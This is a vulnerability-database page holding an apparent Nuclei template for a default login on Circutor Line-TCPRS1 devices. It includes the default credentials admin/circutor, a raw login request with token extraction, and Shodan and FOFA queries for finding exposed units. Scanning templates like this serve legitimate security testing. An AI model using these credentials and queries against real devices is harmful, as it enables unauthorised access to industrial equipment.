circutor-default-login: Circutor Line-TCPRS1 - Default Login

2026-03-25 circutor-default-login PoC Public

Description

A default login was discovered on a Circutor Line-TCPRS1 device. An attacker can obtain access to user accounts, access sensitive information, modify data, and execute unauthorized operations.

PoC

id: circutor-default-login

info:
  name: Circutor Line-TCPRS1 - Default Login
  author: s4e-io
  severity: high
  description: |
    A default login was discovered on a Circutor Line-TCPRS1 device. An attacker can obtain access to user accounts, access sensitive information, modify data, and execute unauthorized operations.
  reference:
    - https://circutor.com/en/products/line-tcprs1/
  metadata:
    verified: true
    max-request: 1
    vendor: circutor
    product: line-tcprs1
    shodan-query: http.html:"Line-TCPRS1"
    fofa-query: body="Line-TCPRS1"
  tags: circutor,iot,tcprs1,default-login,vuln

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"Username":"{{username}}","Password":"{{password}}"}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - circutor

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"Token"\s*:\s*"eyJ[a-zA-Z0-9]{10,}\.eyJ[a-zA-Z0-9]{10,}\.[a-zA-Z0-9_\-]{10,}"'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - '"Token"\s*:\s*"(eyJ[a-zA-Z0-9]{10,}\.eyJ[a-zA-Z0-9]{10,}\.[a-zA-Z0-9_\-]{10,})"'
# digest: 4a0a004730450220240a50a5d167e7e3b6b4982953fabc4dbfad252536e92c742a71696a54305be6022100d317683600ba6e8100434c181379992b44037208e3b098d85e7d5b7c6abbc810:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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